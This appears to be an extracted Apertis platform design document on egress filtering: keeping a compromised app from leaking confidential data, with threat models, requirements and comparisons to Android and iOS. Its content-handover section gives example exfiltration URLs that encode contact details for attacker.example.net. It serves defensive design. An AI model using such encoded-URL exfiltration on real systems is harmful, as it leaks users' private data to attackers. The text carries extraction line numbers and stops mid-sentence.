

Egress filtering

¹ Contents

2	Assumptions	2
3	Use-cases	3
4	Purely offline application	3
5	Application without direct Internet access	6
6	Full Internet access	9
7	Lower-level networking	12
8	Attack detection	13
9	Recommendations	13
10	Possible extensions	13
11	Internet access limited to common protocols	13
12	Domain-limited Internet access	14
13	Design notes	17
14	References	18
15	This way to the egress! —attributed to P. T. Barnum ¹	

An application that handles confidential data might have a security vulnerability
 that leads to it becoming controlled by an attacker. This design aims to mitigate
 such attacks.

¹⁹ Assumptions

We assume that the user has some confidential data (for example the contents of their address book), accessible to a particular application bundle, and that an attacker's goal is to gain access to that confidential data.

We assume that an application bundle with access to confidential data might be-23 come attacker-controlled due to a security vulnerability in the implementation 24 of that application bundle, or in libraries that it uses. For example, there might 25 be a security vulnerability in a JPEG decoding library used by the address-26 book user interface; an attacker might be able to exploit this vulnerability by 27 publishing a crafted JPEG image in a vCard, so that when the image is de-28 coded and displayed by the address-book user interface, arbitrary instructions 29 of the attacker's choice are executed with the privileges of the address-book user 30 interface (arbitrary code execution). 31

We assume that if other application bundles on the device are also controlled by the attacker, those bundles do not have privileges that the bundle under discussion does not have. In other words, we do not attempt to protect against a scenario where the attacker has independently compromised one app bundle which can access confidential data but not the Internet, and a second app bundle which can access the Internet but not confidential data, and now aims to make those app-bundles conspire to send confidential data to the Internet.

¹https://en.wikipedia.org/wiki/Barnum%27s_American_Museum#Attractions

The rationale for this assumption is that if the conspiring app-bundles both have 39 access to a shared storage area such as a USB thumb drive, or an area of the 40 filesustem designated for inter-app sharing such as Android's public storage di-41 $rectory^2$, then we cannot prevent them from using that area to communicate; 42 because the Multi-User design document³ calls for audio and video files to be 43 stored in a shared location, we must assume that at least some app-bundles are 44 able to use it. A rational attacker would choose to target app-bundles which do 45 have access to the shared storage area, in order to make use of this mechanism. 46 Additionally, fully protecting against that scenario would require that we elimi-47 nate any other covert channels⁴ between the app-bundles. The standard model 48 for formalizing covert channels is to set an upper bound on the rate at which one 49 of the conspiring app-bundles may transfer data to the other, and ensure that 50 the total bandwidth of all possible covert channels cannot exceed the permitted 51 rate. 52

For attacks where it is relevant whether the attacker has control over the network, we consider three threat models representing different assumptions:

 Attacker controls a server: The attacker controls one or more Internet hosts (for example the attacker might have ordinary home/business broadband, be a customer of a generic hosting platform such as Amazon AWS, or control a "botnet" of compromised home/business machines). None of the servers controlled by the attacker are directly related to either the Apertis device, or any of the servers with which the application being considered would normally communicate.

Passive network attacks: The attacker has all the capabilities from the previous threat model, and can additionally perform passive attacks (eavesdrop on messages) on the local links used by the Apertis device (including
Wi-Fi, Bluetooth, and cellular networks such as 4G used to connect to an
Internet gateway), or on the path between the gateway and any remote
server.

Active network attacks: The attacker has all the capabilities from the pre vious threat model, and can additionally perform active attacks (suppress
 desired messages, or generate undesired messages).

71 Use-cases

72 Purely offline application

⁷³ Suppose the applications and agents in a bundle process confidential data, but
⁷⁴ never require either Internet access or communication with other applications.

⁷⁵ For example, an application to display detailed information about the vehicle,

⁷⁶ including sensitive data such as serial numbers, might not have any need to

 $^{^{2} \}rm https://developer.android.com/reference/android/os/Environment.html#getExternalStoragePublicDirectory%28java.lang.String%29$

³https://www.apertis.org/concepts/archive/application_security/multiuser/ ⁴https://en.wikipedia.org/wiki/Covert_channel

communicate with any other application. 77

103

104

108

109

110

111

112

113

Unresolved: is there a more common use-case for this? I considered doc-78 umenting this in terms of something like a stored-password manager, but it 79 seems likely that the majority of applications would want to communicate 80 with other applications somehow; even something as limited and security-81 sensitive as a stored-password manager would probably benefit from the 82 ability to send passwords to the relevant application. Conversely, simple 83 games such as Sudoku or Hitori, or simple utilities such as a calculator, 84 have no need for Internet access but also do not have access to any con-85 fidential data; isolating these applications from the Internet would be a 86 good idea from the perspective of "least-privilege", but does not actually 87 prevent any confidential data from being propagated, because they have 88 no confidential data to propagate. 89

Suppose an attacker somehow gains control over such an application, as de-90 scribed in Assumptions. Our goal in situations like this is to prevent the at-91 tacker from copying the user's confidential data into a location where it can be 92 read by the attacker. 93

• Unresolved: if it does not communicate with networks or other applica-94 tions, how would an attacker achieve this? 95

The application bundle must not be able to send the user's confidential data 96 directly. 97

• The platform must not allow that application bundle to send messages 98 with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks 99 via networking system calls such as socket (). This must be recorded as a 100 probable attack. 101 102

- If this requirement is not met, then confidentiality could be defeated by passive network attacks.

The platform must not allow that application bundle to send messages with attacker-chosen contents via inter-process communication with net-105 work management services such as BlueZ or ConnMan. This must be 106 recorded as a probable attack. 107

- If this requirement is not met, then confidentiality could be defeated by passive network attacks.

- The platform must not allow that application bundle to send messages with attacker-chosen contents via platform services that interact with the network, such as the Newport download manager. This must be recorded as a probable attack.
- For example, if this was not prevented, application bundle could con-114 struct one or more URLs that encode pieces of the user's confidential 115 data, on a server controlled by the attacker, and instruct Newport to 116 download them; that would effectively result in giving the confiden-117 tial data to the server. 118
- If this requirement is not met, then confidentiality could be defeated 119

by control of any server.

¹²¹ The application bundle should also not be able to send the user's confidential ¹²² data *indirectly*, by asking that another application bundle does so.

- The application bundle should not be allowed to pass messages to other application bundles via Content hand-over⁵.
 - Applications which require content hand-over for their normal functionality are outside the scope of this scenario, and are described in Application without direct Internet access.
- The application bundle should not be allowed to pass messages to other application bundles via inter-process communication mechanisms such as those described in Data sharing⁶.

 Applications which require IPC for their normal functionality are outside the scope of this scenario, and are described in Application without direct Internet access.

Unresolved: Is this scenario something that we need to address, or is it sufficient to apply the weaker requirements of an Application without direct Internet
 access?

Other systems Android partially supports this scenario via the INTERNET permission flag⁷. Applications without that flag are not allowed to open network sockets. However, Android does not support preventing indirect URL dereferencing via content handover⁸: any Android application can "fire an intent" which will result in a GET request to an arbitrary URL. This effectively reduces this scenario to the weaker requirements of an Application without direct Internet access.

Android also does not support preventing its equivalents of our Content handover⁹ and communication with public interfaces¹⁰: any application can declare a custom *intent* (analogous to our public interfaces), and any application can register to receive implicit intents matching a pattern (analogous to our content hand-over). Again, this is more similar to our Application without direct Internet access scenario.

As far as we can determine from its public documentation, iOS does not support this scenario at all. Sandboxed OS X applications partially support this scenario via the com.apple.security.network.server and com.apple.security.network.client entitlement flags¹¹, but these flags are not

 $^{8} https://developer.android.com/guide/components/intents-common.html\#Browser$

120

125

126

127

131

132

133

 $^{^{7} \}rm https://developer.android.com/reference/android/Manifest.permission.html#INTERNE T$

⁹https://www.apertis.org/concepts/archive/application_framework/content_hand-over/ ¹⁰https://www.apertis.org/architecture/application/data_sharing/

 $[\]label{eq:linear} $11 https://developer.apple.com/library/mac/documentation/Miscellaneous/Reference/EntitlementKeyReference/Chapters/EnablingAppSandbox.html#//apple_ref/doc/uid/TP40011 TP40011 TP400011 TP40011 TP400011 TP400011 TP400011 TP400011 TP400011 TP400010$

available on iOS, and iOS does not appear to offer the ability to deny network
access to an installed application¹² —perhaps because if it did, users would
be able to turn off advertising-supported applications'ability to download new
advertisements.

158 Application without direct Internet access

Some applications and agents never require direct Internet access. For example, 159 if we assume that a background service such as evolution-data-server is responsi-160 ble for managing the address book and performing online synchronization, then 161 a human-machine interface (HMI, user interface) for the user's address book 162 has no legitimate reason to contact the Internet. However, even these limited 163 applications and agents will typically require the ability to carry out Content 164 hand-over¹³, which is the major difference between this scenario and the Purely 165 offline application. 166

¹⁶⁷ Suppose the attacker has been able to gain control over this application bundle,
 ¹⁶⁸ as described in Assumptions. The application bundle must not be able to send
 ¹⁶⁹ the user's confidential data directly.

• The requirements here are the same as for a Purely offline application being prevented from carrying out direct Internet access.

¹⁷² Suppose additionally that the address book app requires the ability to perform ¹⁷³ Content hand-over¹⁴ for its normal functionality: for example, when the user ¹⁷⁴ taps on the phone number, web page or postal address of a contact, it would be ¹⁷⁵ reasonable for the UX designer to require that content handover to a telephony, ¹⁷⁶ web browser or navigation application is performed.

• *Non-requirement:* it is not possible to prevent the attacker from sending a 177 small subset of the user's confidential data via content handover to other 178 applications, and we will not attempt to do so. For example, if the address 179 book app must be allowed to hand over http://blogs.example.com/alice/ 180 to the web browser, then the compromised app is equally able to hand over 181 http://attacker.example.net/QWxpY2UgU21pdGg7KzQ0IDE2MzIgMTIzNDU2Cg== to 182 the same web browser; this could conceivably be the address of a con-183 tact's website (or at least, an algorithmic check cannot determine that it 184 isn't), but in fact it results in encoded data representing "Alice Smith;+44 185 1632 123456" being sent to the attacker. 186

187 188 The example given is deliberately not particularly subtle. A real attacker would probably use a less obvious encoding.

This results in confidentiality being partially defeated by control of
 any server (in this example, attacker.example.net).

 $195\text{-}\mathrm{CH4}\text{-}\mathrm{SW1}$

 $^{12} \rm http://www.howtogeek.com/177711/ios-has-app-permissions-too-and-they$ re-arguably-better-than-androids/

 $[\]label{eq:linear} $13 https://www.apertis.org/concepts/archive/application_framework/content_hand-over/$14 https://www.apertis.org/concepts/archive/application_framework/content_hand-over/$

Non-requirement: we probably cannot filter content handover to 191 only allow URIs or file contents that do not look suspicious, be-192 cause we cannot determine precisely how the application will 193 process URIs that it receives, and what actions different com-194 ponents of a URI or file will trigger: an application might re-195 spond to a URI in an unexpected way, for example responding to 196 https://good.example.com/benign?ref=attacker.example.net&data=Alice+Smith%3B%2B44+1632+123456 197 by sending the specified address-book data to attacker.example.net. 198 If the compromised app carries out content handover with messages that 199 are suspiciously large or frequent, the platform may respond to this in 200 some way. For example, this could indicate an attempt to transmit the 201 user's entire address book. 202 - This mitigates the loss of confidentiality. 203 - The platform may assess this as a potential attack, but we recommend 204 that this is not done, because it would be easy for a non-compromised, 205 non-malicious application to trigger this detection if a corner-case in 206 its normal operation leads to an unexpected burst of activity. 207 - The platform may respond by delaying (rate-limiting, throttling) the 208 processing of further messages, so that all messages from the app will be processed eventually, but the rate at which content handover can 210 send data is limited to an acceptable level. We recommend that this 211 is done instead of triggering attack-detection. 212 • If the compromised app carries out content handover while in the back-213 ground, the platform may respond to this in some way. 214 - The platform may assess this as a potential attack. 215 - The platform may delay processing of the second content handover 216 transaction until the next time the sending app is in the foreground, 217 effectively rate-limiting content handover to one handover transaction 218 per time the user switches back to the sending app. 219 - This mitigates the loss of confidentiality. 220 - Unresolved: Are there situations where content handovers from the 221 background would be a valid thing for a non-compromised app to do? 222 *Possible enhancement:* If the compromised app carries out content han-223 dover while in the foreground, but not in response to user action, the 224 platform may assess this as a potential attack. 225 - Unresolved: This appears unlikely to be useful in practice. If an 226 app is in the foreground, then the user is likely to be interacting with 227 it; the app could interpret any user interaction, such as a tap on a 228 contact's name in the contact list, as triggering content handover as 229 a side-effect in addition to having its usual function. 230 To discourage this mode of attack, content hand-over should be made 231 obvious to the user. For example, the Didcot content handover service 232 could impose the policy that whenever app A hands over content to app 233 B, app B is brought into the foreground. 234 - This mitigates the loss of confidentiality by making it detectable by 235 the user. 236

- **Unresolved:** Are there situations where this would be undesired?

237

238

239

240

254

255

260

261

262

263

264

265

266

267

268

269

270

271

272

 If the user becomes suspicious and terminates the application, any incomplete content hand-over transactions that had been delayed by rate-limiting and not yet acknowledged should be cancelled.

Trade-off: if each recipient of content hand-over requires user confirmation 241 before carrying out external transmission such as Internet access or a 242 phone call based on content that was handed over, then this attack can 243 be avoided. However, the well-known problem with this approach is that 244 users have been conditioned to click "OK" to all prompts¹⁵: if the user 245 perceives a confirmation prompt as getting in the way of what they wanted 246 to do, they will allow it. If the user taps on the phone number or web page 247 of a contact in the address book HMI, it is reasonable to expect that the 248 requested action is performed immediately; a user getting an unexpected 249 prompt in this situation would most likely be annoved by the prompt, press 250 "OK", and get into the habit of pressing "OK" to all equivalent prompts in 251 future, even those that are actually protecting them from an unrequested 252 action. 253

- This would mitigate the loss of confidentiality, but is probably not useful in practice.

Suppose the address book app requires the ability to communicate with apps/agents that implement a public interface¹⁶ for its normal functionality: for example, it might have a button to perform a device-wide search for files and other content items that mention a contact's name.

Non-requirement: it is not possible to prevent the attacker from sending the user's confidential data to other applications, and we will not attempt to do so. For example, if the address book app must be allowed to carry out a Sharing¹⁷ operation, then the compromised app is equally able to "share"the user's entire address book with any registered sharing provider.
Note that our assumption that the attacker does not control other applications with more privileges applies here: if that assumption holds, then sending the user's address book to a non-malicious, non-attacker-controlled sharing provider does not help the attacker to achieve their goal.
If the compromised app sends messages that are suspiciously large or fre-

quent, the platform may apply rate-limiting, similar to what was described above for content hand-over.

273- We do not recommend that this is assessed as a potential attack, for274the same reasons as for content hand-over. If public interfaces are to275be a useful extension mechanism without requiring centralized over-276sight by Apertis developers, then we must allow relatively arbitrary277uses.

¹⁵https://www.schneier.com/blog/archives/2006/04/microsoft_vista.html

¹⁶https://www.apertis.org/architecture/application/data_sharing/

¹⁷https://www.apertis.org/concepts/archive/application_security/sharing/

278	• If the compromised app carries out sharing while in the background, the
279	platform might assess this as a potential attack.
280	- Unresolved: Are there situations where this would be a valid thing
281	for a non-compromised app to do?
282	• Possible enhancement: If the compromised app carries out sharing while
283	in the foreground, but not in response to user action, the platform may
284	assess this as a potential attack.
285	- Unresolved: This seems unlikely to be useful in practice; the same
286	issues apply here as for content hand-over.
287	• To discourage this mode of attack, whenever a public interface results in
288	external transmission, the implementer of the public interface should make
289	this obvious to the user.
290	– This is entirely up to the implementer of the public interface: the
291	platform cannot enforce this. However, if we assume that the imple-
292	menter of the public interface is not attacker-controlled, it is reason-
293	able to assume that it will not behave maliciously.
294	- Unresolved: Are there situations where this would be undesired?
295	• <i>Trade-off:</i> if each recipient of messages to a public interface requires user
296	confirmation before carrying out external transmission such as Internet
297	access or a phone call based on content that was handed over, then this
298	attack can be avoided.
299	– Again, this is entirely up to the implementer of the public interface,
300	and the platform cannot enforce this.
301	- As with content hand-over, this must be balanced against convenience
302	and UX expectations.
303	Other systems Android supports this scenario via the INTERNET permis-

³⁰³ Other systems Android supports this scenario via the INTERNET permis-³⁰⁴ sion flag¹⁸. Applications without that flag are not allowed to open network ³⁰⁵ sockets, and can only communicate with the Internet via mechanisms analo-³⁰⁶ gous to our Content hand-over¹⁹ and Data sharing²⁰.

However, iOS does not appear to support this scenario, as described in Purely
 offline application.

309 Full Internet access

³¹⁰ Suppose an application handles confidential data, and requires general-purpose
³¹¹ Internet access. For example, a generic Web browser such as Apertis^{*} Rhayader"
³¹² browser falls into this category.

³¹³ Suppose there is a security vulnerability in a component receiving data from the
³¹⁴ Internet; for example, the same JPEG decoding library vulnerability described
³¹⁵ in Application without direct Internet access.

 $^{^{-18} \}rm https://developer.android.com/reference/android/Manifest.permission.html#INTERNE T$

 $^{^{19} \}rm https://www.apertis.org/concepts/archive/application_framework/content_hand-over/ <math display="inline">^{20} \rm https://www.apertis.org/architecture/application/data_sharing/$

Again, our goal is to prevent the attacker from copying the user's confidential data, such as their passwords, into a location where it can be read by the attacker.

Non-requirement: If the application needs to contact servers without end-319 to-end confidentiality protection (HTTPS), for example using HTTP or 320 FTP, then an attacker capable of at least passive attacks could send the 321 confidential data over such a connection, and eavesdrop on that connec-322 tion to obtain the confidential data. This cannot be solved, except by 323 restricting the application to protocols known to preserve confidentiality. 324 Unlike the Application without direct Internet access, the platform should 325 allow that application bundle to send messages via platform services that 326 interact with the network, such as the Newport download manager. 327 - Rationale: Preventing this is not helpful, because the application could 328 equally well send those messages itself. 329 If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality 330 in the presence of an attacker who can perform passive network attacks. 331 Not feasible: It is not feasible to preserve confidentiality of data sent via 332 HTTP or FTP without an app-specific confidentiality layer, because we 333 assume that the attacker is able to read local wireless networking traffic, 334 which includes the clear-text HTTP or FTP transactions. 335 The platform should encourage the use of end-to-end-confidential protocols 336 such as HTTPS. 337 Trade-off: In principle we could discourage unencrypted traffic by only al-338 lowing the majority of applications to use HTTPS on port 443, and requir-339 ing a permissions flag for anything else. However, this would contribute 340 to the "protocol ossification" described in papers such as RFC 3205²¹, 'Os-341 sification of the Internet' and 'Ossification: a result of not even trying?' 342 , in which transactions are disguised as HTTP on port 80 or HTTPS on 343 port 443 to bypass interference from well-meaning gateways, undermining the ability to classify traffic or use better-performing protocols such as 345 UDP/RTP where they are appropriate. 346 One mechanism that might be proposed is to require that the platform is able to 347 perform deep packet inspection²² on all network traffic; this is essentially a web 348

³⁴⁷ One mechanism that hight be proposed is to require that the platform is able to ³⁴⁸ perform deep packet inspection²² on all network traffic; this is essentially a web ³⁴⁹ application firewall²³, which is a specialized form of application-level gateway²⁴. ³⁵⁰ However, we do not believe this to be particularly useful here. Normally, web ³⁵¹ application firewalls are deployed between the Internet and an *origin server* ³⁵² (web server), to protect the origin server from attackers on the Internet. This ³⁵³ means the web application firewall can make assumptions about the forms of ³⁵⁴ traffic that are or are not legitimate, based on the known requirements of the ³⁵⁵ web application being run on the web server. However, this deployment would

²¹https://tools.ietf.org/html/rfc3205

 $^{^{22}} https://en.wikipedia.org/wiki/Deep_packet_inspection$

 $^{^{23} \}rm https://owasp.org/www-community/Web_Application_Firewall$

 $^{^{24} \}rm https://en.wikipedia.org/wiki/Application-level_gateway$

instead be between a user agent (web client) and the Internet, aiming to protect
user agents with unknown requirements and behaviour patterns. This makes
the design of a useful web application firewall much more difficult.

359

360

361

368

369

392

393

394

• Not necessarily feasible: Ideally, the platform would not allow confidential data to be sent to Internet sites other than those that the user intends. However, this is not feasible to achieve for several reasons:

We assume that the attacker controls the compromised application,
 and the endpoint to which it is sending data. The attacker could
 avoid deep-packet inspection by applying strong end-to-end confiden tiality to the data sent (for example by using public-key cryptogra phy), or by applying a weak obfuscation mechanism that is neverthe less not specifically known to the platform.

 If encryption is used, we cannot distinguish between encrypted nonconfidential data and encrypted confidential data.

Even if encryption is not used, we cannot necessarily distinguish between confidential data which is being sent to an endpoint that has a
legitimate need to handle it (for example sending the user's address
book to a PIM application, Facebook, or LinkedIn) and confidential
data which is being sent to an endpoint that does not (for example
sending the user's address book to the attacker's server).

Because the platform does not have an in-depth understanding of 376 what the application aims to do (that would defeat the purpose of 371 an app framework), it cannot apply a "default-deny" policy in which 378 only the expected messages are permitted. Deep packet inspection 379 in this scenario would necessarily have to fall back to "enumerating 380 badness", which necessarily lags behind the discovery of new threats. 381 - Similarly, because the platform does not understand the syntax of 382 arbitrary network protocols, it could only guess at the meaning (se-383 mantics) of the content sent by the application. 384

If a technique such as end-to-end encrypted HTTPS is used, we can only detect
suspicious transactions if the platform is empowered to break the security of the
HTTPS connection, for example via one of these techniques, neither of which
appears to be desirable.

• Not recommended: arranging for the application to provide each TLS connection's *master secret* to an otherwise non-intercepting proxy, allowing that proxy to decrypt the traffic that it passes through.

 The non-intercepting proxy would become a very attractive target for attackers, because finding a vulnerability in it would provide access to all confidential traffic.

 An attacker could still embed small amounts of confidential data in the TLS handshake by choosing a suitable value for the pre-master secret, which is not something we can meaningfully filter (since it is meant to be random, and strongly encrypted data is indistinguishable from randomness).

400	- All the problems with deep packet inspection, noted above, still apply.
401	• Not recommended: arranging for the application to trust a CA certifi-
402	cate provided by a TLS interception $proxy^{25}$ on the device and acting as
403	a "man-in-the-middle"
404	– A man-in-the-middle is one of the attacks that HTTPS is designed to
405	prevent, which means that recent/future HTTPS techniques such as
406	certificate pinning ²⁶ will tend to include measures that should defeat
407	it.
408	– Terminating the TLS connection at the proxy can also lead to new
409	$vulnerabilities^{27}$ for the application.
410	 The same single-point-of-failure reasoning as above applies.

- All the problems with deep packet inspection, noted above, still apply.

Other systems In Android, this is governed by the same INTERNET permissions
flag as Internet access limited to common protocols.

Similarly, iOS does not appear to support this scenario: as discussed in Application without direct Internet access, all iOS apps can contact the network.

416 Lower-level networking

⁴¹⁷ The next step beyond Full Internet access is the scenario of an application that
⁴¹⁸ cannot be restricted to Internet protocols either; for example, an application
⁴¹⁹ making use of direct Bluetooth, Wi-Fi, NFC or Ethernet communication (at
⁴²⁰ the link layer rather than the transport layer) might fall into this category.

⁴²¹ The goals, requirements and feasibility problems here are very similar to Full
⁴²² Internet access, except that meaningful proxying for arbitrary link-layer net⁴²³ working is likely to be more difficult than proxying arbitrary transport-layer
⁴²⁴ networking.

Additionally, because there is a tendency for other nearby devices to trust messages received via local wireless networks such as Bluetooth, the ability to carry out this low-level networking should be restricted.

• Applications that do not require a particular form of local communication

- for their normal functionality must be prevented from using it. This mit-
- 430 igates the effect of a compromised application: nearby devices can only

be attacked if the compromised application happens to be one that has

- 432 permission to use the relevant form of local communication.
- 433 Other systems Android requires specific permissions flags (BLUETOOTH,

434 BLUETOOTH_ADMIN, BLUETOOTH_PRIVILEGED, CHANGE_WIFI_MULTICAST_STATE,

435 CHANGE_WIFI_STATE, NFC, TRANSMIT_IR) for low-level networking.

 $[\]label{eq:constraint} \begin{array}{c} ^{25} \mbox{http://www.zdnet.com/article/how-the-nsa-and-your-boss-can-intercept-and-break-ssl/} \\ ^{26} \mbox{https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning} \\ ^{27} \mbox{https://owasp.org/www-community/controls/Certificate_and_Public_Key_Pinning} \\ When_Do_You_Whitelist.3F \end{array}$

⁴³⁶ iOS prompts the user before the first time a similar action is performed.

437 Attack detection

⁴³⁸ The platform should have a heuristic for detecting whether an app has been⁴³⁹ compromised or is malicious.

- The points described as a "probable attack"and "potential attack"above may be used as input into this heuristic.
- Other inputs outside the scope of this design, such as AppArmor alerts for attempts to access files not allowed by its profile, may be used as input into this heuristic.
- If this heuristic considers the app to be compromised, the platform may prevent it from running altogether.
- If this heuristic considers the app to be somewhat likely to be compromised, the platform may allow it to run, but prevent it from carrying out content handover or carrying out inter-process communication with any non-platform process.
 - Unresolved: Is this capability required?
- If this heuristic considers the app to be unlikely to be compromised, the ⁴⁵² platform should allow it to run unhindered.
- Non-requirement: The exact design of this heuristic is outside the scope of this document, and will be covered by a separate design.

456 **Recommendations**

451

457 TODO: add recommendations after a provisional set of requirements has been 458 agreed

459 **Possible extensions**

460 Internet access limited to common protocols

Many applications and agents require Internet access to communicate with arbitrary sites, but can be restricted to specific protocols without loss of functionality. For example, a general-purpose web browser would typically only require
support for HTTPS, HTTP and FTP. Additionally, it might only require access
to the default network ports for those protocols.

We could conceivably require that these applications are restricted to those specific protocols. However, it is not clear that this would enable more meaningful
filtering than in the Full Internet access case: the majority of the issues outlined
there still apply.

- ⁴⁷⁰ If we were to go too far with encouraging the use of well-known protocols such ⁴⁷¹ as HTTPS, for example by requiring a permissions flag and special auditing for
- 472 anything else, this risks the "protocol ossification" problem described in papers

⁴⁷³ such as RFC 3205²⁸, 'Ossification of the Internet' and 'Ossification: a result of
⁴⁷⁴ not even trying?', in which transactions are disguised as HTTP on port 80 or
⁴⁷⁵ HTTPS on port 443 to bypass interference from well-meaning gateways such as
⁴⁷⁶ our platform, undermining the ability to classify traffic or use better-performing
⁴⁷⁷ protocols such as UDP/RTP where they are appropriate.

We recommend that the Apertis platform should have advisory/discretionary 478 mechanisms encouraging the use of HTTPS, to reduce the chance that an appli-479 cation will accidentally use an insecure connection: for example, general-purpose 480 libraries such as libsoup could be given a mode where they reject insecure con-481 nections to some or all domains selected by the application manifest, similar 482 to Apple's App Transport Security. However, this specifically does not provide 483 egress filtering or address the attacks described in this document, because an at-484 tacker with control over the application code could bypass it by using lower-level 485 networking functionality. 486

Other systems Android specifically does not support this scenario²⁹. Appli cations with the INTERNET permissions flag can contact any Internet host using
 any protocol.

It is not entirely clear whether iOS App Transport Security³⁰ is able to prevent 490 unencrypted HTTP operations by a compromised process. ATS does prevent 491 accidental unencrypted HTTP operations when higher-level library functions 492 are used, analogous to what would happen in Apertis if libsoup could be con-493 figured to forbid unencrypted HTTP. However, it is not clear from the public 494 documentation whether iOS apps are able to bypass ATS by using lower-level 495 system calls such as socket(); if they are, then a compromised application could 496 still send unencrypted HTTP requests. Xamarin documentation³¹ describes the 497 C# APIs HttpWebRequest and WebServices as unaffected by ATS, which suggests 498 that lower-level system calls do indeed bypass ATS. This matches the ATS-like 499 mechanism that we recommend above. 500

501 Domain-limited Internet access

Some applications and agents only require Internet access to communicate with a particular list of domains via well-known protocols. For example, a Twitter client might only need the ability to communicate with hosts in the twitter.com

505 and twimg.com domains.

This is implementable in principle, but is complex, and it is not clear that it provides any additional security that cannot be circumvented by an attacker. We recommend not addressing this scenario.

 $^{29} \rm https://groups.google.com/forum/\#!topic/android-security-discuss/7Hqbhed8bZg$ $^{30} \rm https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistK$

²⁸https://tools.ietf.org/html/rfc3205

⁵⁰⁹ Unresolved: Do we require specific support for this scenario, or should it be ⁵¹⁰ treated as Internet access limited to common protocols or Full Internet access?

⁵¹¹ Suppose there is a security vulnerability in a component receiving data from the
⁵¹² Internet; for example, the same JPEG decoding library vulnerability described
⁵¹³ in Application without direct Internet access.

Again, our goal is to prevent the attacker from copying the user's confidential data, such as their Twitter password, into a location where it can be read by the attacker.

- Non-requirement: We cannot prevent the compromised application from contacting the domains that it normally needs to contact. For example, we cannot prevent a compromised Twitter client from sending the user's Twitter password to the attacker via a Twitter message.
- Non-requirement: If the application needs to contact servers without endto-end confidentiality protection (HTTPS), for example using HTTP or FTP, then an attacker capable of at least passive attacks could send the confidential data over such a connection, and eavesdrop on that connection to obtain the confidential data. This cannot be solved, except by requiring HTTPS.
- As with the Application without direct Internet access, the platform must not allow that application bundle to send messages with attacker-chosen contents on Wi-Fi, Bluetooth or cellular networks via networking system calls such as socket(). This must be recorded as a probable attack.

531

532

538 539

544

545

- If this requirement is not met, then confidentiality could be defeated by passive network attacks.
- As with the Application without direct Internet access, the platform must not allow that application bundle to send messages with attacker-chosen contents via inter-process communication with network management services such as BlueZ or ConnMan. This must be recorded as a probable attack.
 - If this requirement is not met, then confidentiality could be defeated by passive network attacks.
- The platform must not allow that application bundle to send messages with attacker-chosen contents to domains outside the allowed set via platform services that interact with the network, such as the Newport download manager. This must be recorded as a probable attack.
 - If this requirement is not met, then confidentiality could be defeated by control of any server.
- Non-requirement: The platform may prevent the application from sending messages with attacker-chosen contents to domains in the allowed set via services such as Newport, but unlike the Application without direct Internet access scenario, this is not required. For example, if the Twitter client in our example asks Newport to download a resource from twimg.com, this may be either allowed or denied.
- ⁵⁵² Rationale: Preventing this is not helpful, because the application could

- equally well send those messages itself.
- Content handover and inter-process communication should be treated the same as for a Application without direct Internet access.

If unencrypted HTTP or FTP is used, we certainly cannot ensure confidentiality
 in the presence of an attacker who can perform passive network attacks, the same
 as for Full Internet access.

An attacker able to alter traffic on the vehicle's connection to the Internet could attempt to defeat this mechanism by intercepting DNS queries to resolve hostnames in the allowed domains (for example twitter.com), and replying with "spoofed"DNS results indicating that the hostname resolves to an IP address under the attacker's control.

• **Unresolved:** is this in-scope?

553

567

568

569

582

583

- If preventing this attack is in-scope, the application's name resolution must fail.
 - Unresolved: DNSSEC³² solves this, but is not widely-deployed. For example, twitter.com is an example of a major site that is not protected by DNSSEC.
- That attack must *not* be treated as evidence that the application has been compromised.

Rationale: if it was, then an attacker could easily deny availability
by spoofing DNS results for a popular application. Continuing the
Twitter example, if the attacker spoofs DNS results for twitter.com,
the Twitter client is unlikely to be able to retrieve new tweets, but the
user should not be prevented from using the application to read old
tweets, and the Twitter client must certainly not be blacklisted from
the app store.

- The solution must not rely on requiring the application process to validate TLS certificates. The certificate must either be validated in a different trust domain, or not relied upon.
 - Rationale: the attacker's code running in a compromised application could simply not validate the certificate.

Other systems Android specifically does not support this scenario³³. Applications with the INTERNET permissions flag can contact any Internet host.

Similarly, iOS does not appear to support this scenario: as discussed in Application without direct Internet access, all iOS apps can contact the network.

⁵⁸⁸ It is not clear whether iOS App Transport Security³⁴ is able to prevent unen-⁵⁸⁹ crypted HTTP operations by a compromised process. ATS does prevent acci-⁵⁹⁰ dental unencrypted HTTP operations when higher-level library functions are

16

³²https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions

 $^{^{33}} https://groups.google.com/forum/\#!topic/android-security-discuss/7Hqbhed8bZg$

 $[\]label{eq:static} {}^{34} https://developer.apple.com/library/ios/documentation/General/Reference/InfoPlistKeyReference/Articles/CocoaKeys.html#//apple_ref/doc/uid/TP40009251-SW33$

used, analogous to what would happen in Apertis if libsoup could be configured 591 to forbid unencrypted HTTP. However, it is not clear from the public documen-592 tation whether iOS apps are able to bypass ATS by using lower-level system 593 calls such as socket(); if they are, then a compromised application could still 594 send unencrypted HTTP requests. Xamarin documentation³⁵ describes the C#595 APIs HttpWebRequest and WebServices as unaffected by ATS, which suggests that 596 lower-level system calls do indeed bypass ATS. This matches what we recom-597 mend 598

599 Design notes

⁶⁰⁰ Some OS features that could be useful to implement these requirements:

601	٠	Network namespaces (an aspect of containerization) can be used to prevent
602		networking altogether. If an Application without direct Internet access or
603		Purely offline application is contained in its own network namespace, it
604		loses access to direct network sockets, but can still communicate with
605		other processes via filesystem-backed IPC, for example D-Bus.
606	٠	AppArmor profiles (mandatory access control) can be used to prevent
607		networking system calls such as socket (). Policy violations are logged to
608		the audit subsystem, which could be used as input to Attack detection.
609	٠	AppArmor profiles (mandatory access control) can prevent an application
610		from communicating with network management services such as BlueZ or
611		ConnMan. Again, policy violations are logged to the audit subsystem.
612	•	AppArmor profiles (mandatory access control) can prevent a Purely of-
613		fline application from communicating with network-related services such
614		as Newport, or peer applications and agents, via D-Bus. Again, policy
615		violations are logged to the audit subsystem.
616	٠	If an application is able to communicate with a network-related service
617		such as Newport via D-Bus or another Unix-socket-based protocol, the
618		network-related service could derive its bundle ID from its AppArmor la-
619		bel, and use that to perform discretionary access control. Attack detection
620		would have to be done out-of-band, for example by having Newport send
621		feedback to a privileged service.
622	•	For Domain-limited Internet access or Internet access limited to common
623		protocols, if it is required, we could use AppArmor to forbid direct network-
624		ing, and use a local SOCKS5, HTTP CONNECT or HTTPS CONNECT
625		proxy; glib-networking provides automatic SOCKS5 and $\operatorname{HTTP}(S)$ proxy
